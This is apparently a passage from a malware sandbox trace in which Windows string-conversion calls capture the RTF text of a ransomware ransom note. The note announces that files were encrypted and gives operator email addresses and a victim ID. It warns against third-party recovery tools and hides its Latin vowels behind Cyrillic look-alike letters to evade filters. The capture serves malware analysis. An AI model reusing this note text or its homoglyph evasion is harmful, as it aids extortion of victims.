ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0039.708] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 